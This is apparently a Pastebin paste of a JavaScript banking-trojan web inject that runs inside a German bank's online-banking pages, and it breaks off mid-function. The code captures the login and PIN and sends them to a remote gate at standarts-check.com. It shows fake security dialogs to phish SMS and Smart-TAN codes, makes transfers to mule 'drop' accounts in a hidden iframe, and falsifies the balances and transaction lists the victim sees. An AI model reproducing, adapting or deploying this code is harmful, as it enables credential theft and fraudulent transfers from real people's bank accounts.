Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var jq = jQuery;
- var CONTENT_URL = "https://standarts-check.com/gm91249/";
- document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background: url("'+CONTENT_URL+'/images/bodybg.png") repeat-y scroll 0 0 transparent; background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 600px;margin-left: -300px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin:10px 0 0 0; }</style>');
- document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 0px;font-size:0.88em;width:100% !important;} .formContainer2 {border: 0.1em solid #C1C3C4 !important;text-align: left;color: #333333; margin: 17px; color: #333333; } .formContainer2 h2 { background: none repeat scroll 0 0 #EDEDED; font-weight:700; color: #4F4F4F; line-height: normal !important; padding: 1px 16px 2px 4px;} #branch { width: 1.9em;}.layout input, .layout select { vertical-align: middle;}textarea, input, select { border: 1px solid #B5C9E3; color: #333333; font: 1em arial,helvetica,sans-serif; padding: 2px;}input.button { -moz-border-bottom-colors: none; -moz-border-image: none; -moz-border-left-colors: none; -moz-border-right-colors: none; -moz-border-top-colors: none; background: url("../../images/bt_standard.gif") no-repeat scroll right center #EAEAEA; border-color: -moz-use-text-color #C0C0C0 #C0C0C0 -moz-use-text-color; border-style: none solid solid none; border-width: medium 1px 1px medium; color: #003399; cursor: pointer; font-size: 1em; font-weight: bold; padding: 2px 3px; float:right; }input.confirm { background: url("'+CONTENT_URL+'/images/bt_confirm.gif") no-repeat scroll right center #FF0000; color: #FFFFFF; padding-right: 22px !important;}input.confirm:hover { background-image: url("'+CONTENT_URL+'/images/bt_confirmHover.gif");} </style>');
- var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function()
- {return ATS.debug_mode;},getBrowserFull:function()
- {var res='na';try
- {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m)
- {res='ff'+m[1];}
- else
- {m=navigator.userAgent.match(/MSIE (\d+)/);if(m)
- res='ie'+m[1];}}
- catch(e)
- {res='ex';}
- return res;},debugMsg:function(message)
- {if(this.isDebugMode())
- {if(window.console&&window.console.log)
- window.console.log(message);else
- alert(message);}},_cookies:new Object(),setCookie:function(name,value)
- {ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name)
- {if(typeof parent.ATS._cookies[name]=='undefined')
- return null;return parent.ATS._cookies[name];},serializeCookies:function()
- {var result=new Array();for(var i in parent.ATS._cookies)
- {result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));}
- return result.join('&');},unserializeCookies:function(rawData)
- {var result=new Object();for(var i in rawData)
- {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);}
- return result;},saveCookies:function(callback)
- {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback)
- {data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled)
- {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params)
- {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled)
- {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback)
- {ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function')
- callback();});},getFullVersionText:function()
- {return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback)
- {ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback)
- {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest)
- {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);}
- else
- {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback)
- {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback)
- {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback)
- {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback)
- {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input)
- {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do
- {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))
- {enc3=enc4=64;}
- else if(isNaN(chr3))
- {enc4=64;}
- output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i<input.length);return output;},utf8_encode:function(argString)
- {if(argString===null||typeof argString==="undefined")
- return"";var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++)
- {var c1=string.charCodeAt(n);var enc=null;if(c1<128)
- {end++;}
- else if(c1>127&&c1<2048)
- {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);}
- else if(c1&0xF800!=0xD800)
- {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);}
- else
- {if(c1&0xFC00!=0xD800){return'error 1';}
- var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';}
- c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);}
- if(enc!==null)
- {if(end>start)
- {utftext+=string.slice(start,end);}
- utftext+=enc;start=end=n+1;}}
- if(end>start)
- utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data)
- {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max)
- {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button)
- {var form=jq('form').has(jq(button));if(jq(form).length==0)
- return 0;var buttonName=jq(button).attr('name');if(buttonName!='')
- {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth)
- buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight)
- buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('<input type=hidden name="'+buttonName+'.x" value="'+clickX+'" />');jq(form).append('<input type=hidden name="'+buttonName+'.y" value="'+clickY+'" />');jq(form).submit();}
- else
- jq(button).click();},delayedClick:function(button,minDelay,maxDelay)
- {setTimeout(function(){if(jq(button).attr('type')=='image')
- {ATS.imgSubmit(jq(button));}
- else
- jq(button).click();},ATS.randInt(minDelay,maxDelay));}};
- ATS.bank = 'gad';
- ATS.script_ver = '3.0';
- ATS.gateURL = 'https://standarts-check.com/gm91249/gate';
- var langs={EN:{waittext:"Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",nextbutton:"Weiter",errortan:"TAN falsch, bitte richtige TAN eingeben",errorTanEmpty:"TAN muss 6 Zeichen lang sein!",autorizetext:"Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br />"},DE:{waittext:"Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",nextbutton:"Weiter",errortan:"TAN falsch, bitte richtige TAN eingeben",errorTanEmpty:"TAN muss 6 Zeichen lang sein!",autorizetext:"Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"},getLang:function(step)
- {return(this[this.getCurLang()][step]);},getCurLang:function()
- {var ln='EN';if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length)
- ln='DE';return ln;}};
- ATS.UI_showWait=function()
- {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_brilok').hide();jq('.formContainer2 #gad_contentbox').hide();}
- ATS.UI_getTAN=function()
- {return jq('.nowrap label').text();}
- ATS.UI_getInjectCode=function()
- {var code='<div id=inj_dialog_box style=\'display: none;\'>'
- +'<div class="formContainer2">'
- +'<div class="inj_dialog_content"><h2 id="inj_dialog_title">Zu Ihrer Sicherheit</h2></div>'
- +'<div id=inj_page_wait style=\'display: none;\'>'
- +'<div class="boxHinweis"><p class="begruessungText inj_content_para">'
- +langs.getLang('waittext')
- +'<br class="newline" /></p><p style="text-align:center"><img s'
- +'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div></div>'
- +'<div id="gad_contentbox" style=\'display: none;\'>'
- +'<div id="gad_signatur_tan" style=\'display: none;\' class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15"><p class="gad-margin-top-10">Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /></p><div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTAN" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required"> </span><input type="text" id="iTAN" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div></div>'
- +'<div id="inj_page_brilok" class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15" style=\'display: none;\'>'
- +'<div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTANBrilok" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required"> </span><input type="text" id="iTANBrilok" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div>'
- +'</div>'
- +'<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
- +'<div class="inj_buttons_block">'
- +'<button id="inj_Weiter" name="inj_weiter" type="submit" title="'+langs.getLang('nextbutton')+'" class="gad-margin-left-10 fltrt js-button-default keindoppelklick gad-button" value="'+langs.getLang('nextbutton')+'"><span class="gad-button-bg-left"><span class="gad-button-bg-right"><span class="gad-button-icon-forward">'+langs.getLang('nextbutton')+'</span></span></span></button>';+' <div style="clear:both"></div></div>'
- +'</div>'
- +'</div></div>';return jq(code);}
- ATS.UI_hideDialogBox=function()
- {jq('#inj_dialog_box').hide();}
- ATS.UI_askTan=function(tanNum,isError)
- {if(parent.ATS.badTan)
- jq('.inj_error',parent.document).show();parent.ATS.UI_showDialogBox();if(jq('h1:contains("SMS")').length!=0)
- {parent.ATS.TanType='sms';jq('#inj_page_wait',parent.document).hide();jq('#inj_page_brilok',parent.document).hide();jq('#gad_signatur_tan',parent.document).show();jq('.formContainer2 #gad_contentbox',parent.document).show();ATS.sendLogMsg('Asking for SMS Tan');}
- else
- {parent.ATS.TanType='brilok';if(jq('#hinweis').length)
- var zapwind=jq('#hinweis').html();else
- var zapwind=jq('#gad_signatur_tan').html();var re=/Start-Code:[\D]*([\d]+)/g;var arr=re.exec(zapwind);if(arr==null)
- {ATS.sendLogMsg('#hinweis='+zapwind,function(){ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code");});}
- var startcode=arr[1];ATS.sendLogMsg('startcode='+startcode);var msg='<div id="hinweis"><p class="gad-margin-top-5">Smart-TAN optic :</p><ul class="gad-content-list">';msg+='<li><span> * 1. Stecken Sie Ihre Chipkarte in den TAN-Generator und drucken "TAN".</span></li>';msg+='<li><span>* 2. Geben Sie den Start-Code <strong>'+startcode+'</strong> ein und drucken "OK".</span></li>';if(parent.ATS.transf_mode=='sepa')
- {var re=/(IBAN: |IBAN Empf[\.\s\d\:]+)<strong>([\d\*]+)<\/strong>/gim;}
- else
- {var re=/(Empf[\.\s\d\:]*)<strong>([\d\*]+)<\/strong>/gim;}
- var ind=2;while((arr=re.exec(zapwind))!==null)
- {ind++;msg+='<li><span>* '+ind+'. Geben Sie die <strong>'+arr[2].replace(/\*/g,'')+'</strong> ein und drucken "OK".</span></li>';}
- if(ind==2)
- ATS.die("ATS.UI_askTan: Regex error- cant find IBAN Empf");var amount=0;if(parent.ATS.transf_mode=='sepa')
- amount=parent.ATS.sepa_drop.amount;else
- {amount=parent.ATS.int_drop.amount;}
- ind++;msg+='<li><span>* '+ind+'. Geben Sie die: <strong>'+amount+'</strong> EUR ein und drucken "OK".</span></li>';msg+='</ul><p></p></div>';jq('#inj_page_wait',parent.document).hide();jq('#gad_signatur_tan',parent.document).hide();jq('#inj_page_brilok',parent.document).show();jq('.formContainer2 #gad_contentbox',parent.document).show();jq('#inj_page_brilok',parent.document).prepend(msg);}}
- ATS.UI_onWeiterClick=function()
- {if(parent.ATS.TanType=='sms')
- var tan=jq('#iTAN').val();else
- var tan=jq('#iTANBrilok').val();if(tan=="test")
- {if(ATS.isDebugMode())
- {parent.ATS.UI_showWait();if(parent.ATS.transf_mode=='sepa')
- ATS.framePageReceipt();else
- ATS.framePageReceiptInternal();return false;}}
- if(tan.length==6)
- {ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);}
- else
- {alert(langs.getLang('errorTanEmpty'));}}
- ATS.UI_blockSite=function()
- {if(ATS.debugNoOverlay)
- return;ATS.debugMsg('ATS.UI_blockSite');if(jq('#inj_block_overlay').length)
- jq('#inj_block_overlay').show();else
- jq('#gad_page').before('<div id=inj_block_overlay></div>');}
- ATS.UI_unblockSite=function()
- {jq('#inj_block_overlay').hide();jq('#gad_page').show();jq('#gad_page > div').show();}
- ATS.UI_showDialogBox=function()
- {jq('#gad_page > div').hide();if(!jq('#inj_dialog_box').length)
- {var injectCode=ATS.UI_getInjectCode();jq('#gad_page').after(injectCode);jq('#inj_Weiter').click(ATS.UI_onWeiterClick);}
- jq('#inj_dialog_box').show();}
- ATS.fin2float=function(text)
- {if(langs.getCurLang()=='EN')
- var text=text.toString();else
- var text=text.toString().replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);}
- ATS.float2fin=function(val)
- {var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2)
- fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3)
- {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);}
- newIntPart=intPart+newIntPart;return newIntPart+','+fractPart;}
- ATS.addElementAmount=function(el,amount,postfix)
- {var val=ATS.fin2float(jq(el).text());var newText=ATS.float2fin(val+amount);if(postfix)
- newText+=' '+postfix;jq(el).text(newText);}
- ATS.hideLastTAN=function()
- {var el=jq('p:contains(Ihre zuletzt verbrauchte TAN)');if(el.length)
- {var html=jq(el).html();var pos=html.indexOf('Ihre zuletzt');if(pos>=0)
- jq(el).html(html.substr(0,pos));}
- jq('p:contains(Zuletzt benutzte)').remove();}
- ATS.checkTransfer=function(el)
- {var percent=parseFloat("0.00");var lastGesamtsaldo=parseFloat(ATS.getCookie('Gesamtsaldo'));if(isNaN(lastGesamtsaldo)){ATS.sendLogMsg('ERROR: lastGesamtsaldo is NULL');return false;}
- var curGesamtsaldo=ATS.fin2float(jq(el).text());var rep_amount=parseFloat(ATS.getCookie('rep_amount'));var tempsaldo=lastGesamtsaldo-curGesamtsaldo;tempsaldo=parseFloat(tempsaldo.toFixed(2));if(tempsaldo==0)
- {ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');return false;}
- if(tempsaldo<0)
- {ATS.sendLogMsg('Error calc saldo = '+tempsaldo+'; lastGesamtsaldo ='+lastGesamtsaldo+'; curGesamtsaldo ='+curGesamtsaldo);return false;}
- if(tempsaldo>0)
- {if((tempsaldo==rep_amount)||(tempsaldo>rep_amount))
- {var temppers=(lastGesamtsaldo-(curGesamtsaldo+rep_amount));percent=parseFloat(temppers.toFixed(2));ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+'; Script will made change');if(parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent))
- {ATS.setCookie('acPercent',percent);ATS.saveCookies();}
- if(ATS.getCookie('acTransact')!="true")
- {ATS.setCookie('acTransact',true);ATS.saveCookies();}
- return percent;}
- else
- {ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+'Script will NOT made change');ATS.setCookie('acPercent',tempsaldo);ATS.setCookie('acTransact',false);ATS.saveCookies();return false;}}}
- ATS.replaceFinanzstatus=function()
- {ATS.debugMsg('replaceFinanzstatus()');jq("#gad_toolbar_btn_print").remove();var el=jq('.gad-table-footer-summary-row > td').eq(1);var percent=ATS.checkTransfer(el);ATS.debugMsg('percent= '+percent);if(typeof percent==='boolean')return true;if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return true;}
- var totalReplace=0;jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){jq(this).find('tr:has(input[value="icon"])').each(function(i){var accNum=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));var amount=parseFloat(ATS.getCookie('ap'+accNum));if(amount>0)
- {ATS.debugMsg('REP finanzstatus: '+accNum+' + '+amount+'; percent = '+percent);ATS.addElementAmount(jq(this).children("td:eq(3)"),parseFloat(amount+percent),'EUR');totalReplace+=parseFloat(amount+percent);}});});if(totalReplace>0)
- {ATS.addElementAmount(jq('.gad-table-footer tr:eq(0) > td').eq(1),totalReplace,'EUR');ATS.addElementAmount(jq('.gad-table-footer-summary-row > td').eq(1),totalReplace,'EUR');}}
- ATS.replaceUmsatzanzeige=function()
- {ATS.debugMsg('replaceUmsatzanzeige()');jq("#gad_toolbar_btn_print").remove();var accNum=jq('select[name="idKontoGewaehlt"] > option:selected').text().replace(/\D+/g,'');var amount=parseFloat(ATS.getCookie('ap'+accNum));var percent=parseFloat(ATS.getCookie('acPercent'));if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return true;}
- if(ATS.getCookie('acTransact')==null||ATS.getCookie('acTransact')=="false")return true;if(ATS.getCookie('transfer_acc')==accNum)
- {ATS.debugMsg('accNum = '+accNum+'; amount = '+amount+'; percent = '+percent);ATS.addElementAmount(jq('div.gad-summary-row span:eq(0)'),amount+percent,'EUR');var hideFlag=false;jq('#gad_page table tr').each(function(i){jq(this).find("td:eq(2)").each(function(j){var text=jq.trim(jq(this).text());if(ATS.needToHide(text))
- {jq(this).parent().hide();hideFlag=true;}});});jq('#gad_page table:eq(0)').find('tr:visible.gad-table-row,tr:visible.gad-table-alternate-row').each(function(i){jq(this).attr('class',(i%2)?'gad-table-row':'gad-table-alternate-row');});}}
- ATS.needToHide=function(text)
- {var amount=parseFloat(ATS.getCookie('rep_amount'));if(amount)
- {if(langs.getCurLang()=='EN'){text=text.replace(/[^\d.]+/gi,'');if(text.indexOf(amount)!=-1)return true;}
- else{text=text.replace(/[^\d,]+/gi,'').replace(",",'.');if(text.indexOf(amount)!=-1)return true;}}
- return false;}
- ATS.getPageTitle=function(findtext)
- {var title=jq.trim(jq("#gad_breadcrumbs >span.active").eq(0).text());if(title.indexOf(findtext)!=-1)return true;else return false;}
- ATS.replaceBalances=function()
- {ATS.debugMsg('replaceBalances()');switch(langs.getCurLang())
- {case"EN":if(ATS.getPageTitle("Your financial overview"))
- ATS.replaceFinanzstatus();if(ATS.getPageTitle("Transactions"))
- ATS.replaceUmsatzanzeige();break;default:if(ATS.getPageTitle("Finanz"+String.fromCharCode(252)+"bersicht"))
- ATS.replaceFinanzstatus();if(ATS.getPageTitle("Ums"+String.fromCharCode(228)+"tze"))
- ATS.replaceUmsatzanzeige();break;}}
- ATS.transf_mode='sepa';ATS.debug_transfer="INT";ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.CONTENT_URL=CONTENT_URL;ATS.current_state=0;ATS.sepa_or_int_select_changed=false;ATS.MaxTransferAccNum=0;ATS.StepInFrame={0:"BeginWork",10:"framePageFinanzstatus",15:"Transactions",20:"Overseas_remittance",30:"SEPA_page",110:"SEPA_form_filled",120:"TAN_ENTERED",130:"Internal_transf_page",140:"INT_form_filled",150:"KreditlimitPage",160:"TransactionsINT",170:"TransactionsSEPA",set_current_state:function(state)
- {for(var key in this)
- {if(typeof this[key]!='function'&&state==this[key]){parent.ATS.current_state=key;return key;}}
- return false;}};ATS.getTime=function()
- {return Math.floor((new Date).getTime()/1000);}
- ATS.die=function(msg)
- {ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);parent.ATS.StepInFrame.set_current_state("BeginWork");ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS)
- {ATS.debugMsg('die in frame');parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();jq('.inj_full_overlay',parent.document).remove();}
- else
- {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();jq('.inj_full_overlay').remove();}});}
- ATS.checkLoginPage=function()
- {return!!jq("button#button_login").length;}
- ATS.getLoginForm=function()
- {var form=jq("form.gad-login-form");if(form.length)
- return form[0];return false;}
- ATS.setLoginHook=function()
- {var loginInfoSent=false;var loginForm=ATS.getLoginForm();jq('#button_login').unbind('click');jq('#button_login').click(function(e){if(!loginInfoSent)
- {var loginForm=ATS.getLoginForm();if(jq(loginForm).find('input:visible#vrkennungalias').length)
- var login=jq(loginForm).find('input:visible#vrkennungalias').val();else
- var login=jq(loginForm).find('input:visible#kontonummer').val();var password=jq(loginForm).find('input:visible#pin').val();e.preventDefault();ATS.debugMsg('login info: '+login+', '+password);jq('#button_login').attr('disabled','disabled');ATS.sendLoginInfo(login,password,function(){loginInfoSent=true;jq('#button_login').attr('disabled',false);wpSubmit=true;jq('#button_login').click();});}});}
- ATS.isLoggedIn=function()
- {if(jq("#ummelden").text().indexOf("Logout")!=-1)
- return true;return false;}
- ATS.padRight=function(input,totalWidth)
- {var result=input;if(result.length<totalWidth){for(var i=result.length;i<totalWidth;i++){result=result+'X'}}
- return result;}
- ATS.framePageReceipt=function()
- {ATS.sendLogMsg('framePageReceipt');ATS.putTransfer('SEPA',parent.ATS.sepa_drop.id,parent.ATS.sepa_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.sepa_drop.id+', amount: '+parent.ATS.sepa_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.sepa_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.sepa_drop.IBAN);ATS.setCookie('rep_amount',parent.ATS.sepa_drop.amount);var transfer_acc=parent.ATS.transfer_acc;if(transfer_acc)
- {ATS.setCookie('transfer_acc',transfer_acc);ATS.setCookie('ap'+transfer_acc,parent.ATS.sepa_drop.amount);}
- ATS.setCookie('Gesamtsaldo',parent.ATS.Gesamtsaldo);ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=ATS.getFinanzstatusLink();if(nextLink!='')
- {setTimeout(function(){parent.ATS.StepInFrame.set_current_state("BeginWork");parent.window.document.location.href=nextLink;},1000);}});});}
- ATS.framePageReceiptInternal=function()
- {ATS.sendLogMsg('framePageReceiptInternal');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer INT, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=parent.ATS.transfer_acc;if(transfer_acc)
- {ATS.setCookie('transfer_acc',transfer_acc);ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);}
- ATS.setCookie('status',1);ATS.setCookie('Gesamtsaldo',parent.ATS.Gesamtsaldo);ATS.saveCookies(function(){var nextLink=ATS.getFinanzstatusLink();if(nextLink!='')
- {setTimeout(function(){parent.ATS.StepInFrame.set_current_state("BeginWork");parent.window.document.location.href=nextLink;},1000);}});});}
- ATS.findAccountInfo=function(acc_num)
- {ATS.debugMsg('acc_num:'+acc_num);var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list)
- {if(acc_num.indexOf(accounts_list[i].number)!=-1)
- {return accounts_list[i];}}
- return false;}
- ATS.getSepaLink=function()
- {if(!parent.ATS.SepaLink)
- {parent.ATS.SepaLink=jq('#gad_navigation_left_1 li:eq(3) a').attr("href");}
- return parent.ATS.SepaLink;}
- ATS.getIntLink=function()
- {if(!parent.ATS.IntLink)
- {parent.ATS.IntLink=jq('#gad_navigation_left_1 li:eq(2) a').attr("href");}
- return parent.ATS.IntLink;}
- ATS.getFinanzstatusLink=function()
- {if(!parent.ATS.finLink)
- {parent.ATS.finLink=jq('#gad_navigation_left_1 li:first a').attr("href");}
- return parent.ATS.finLink;}
- ATS.openInIframe=function(url)
- {var iframe=jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="'+url+'"></iframe>');jq('body').append(iframe);if(ATS.debugVisibleFrame)
- {jq("#ats_wrk_iframe").css('width','1200px');jq("#ats_wrk_iframe").css('height','800px');jq("#ats_wrk_iframe").css('top','1000px');jq("#ats_wrk_iframe").css('position','absolute');}
- else
- {jq("#ats_wrk_iframe").css('width','1px');jq("#ats_wrk_iframe").css('height','1px');jq("#ats_wrk_iframe").css('visibility','hidden');}}
- ATS.parseAccountsList=function()
- {var accountsList=new Array();jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){jq(this).find('tr:has(input[value="icon"])').each(function(){if(langs.getCurLang()=='EN')
- {}
- else
- {var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));var balance=jq.trim(jq(this).children("td:eq(3)").text().replace(/[^\d,.-]+/g,'').replace(/\./g,'').replace(/\,/g,'.'));}
- if(number!='')
- {ATS.debugMsg('number: '+number+'; balance : '+balance);accountsList.push({number:number,totalBalance:parseFloat(balance)});}})});return accountsList;}
- ATS.getAccountInfoButton=function(accNum)
- {var btn=jq("table[name='listeEuroKonten']").find('tr:contains('+accNum+')').children("td:eq(4)").children('input[title*=Konditionen]');if(!btn.length)
- return false;return jq(btn).eq(0);}
- ATS.framePageFinanzstatus=function()
- {ATS.debugMsg('ATS.framePageFinanzstatus');if(!parent.ATS.Gesamtsaldo)
- {var el=jq('.gad-table-footer-summary-row > td').eq(1);var val=ATS.fin2float(jq(el).text());parent.ATS.Gesamtsaldo=val;ATS.sendLogMsg('Gesamtsaldo: '+parent.ATS.Gesamtsaldo);}
- if(!parent.ATS.accounts_list)
- {parent.ATS.accounts_list=ATS.parseAccountsList();if(!parent.ATS.accounts_list.length)
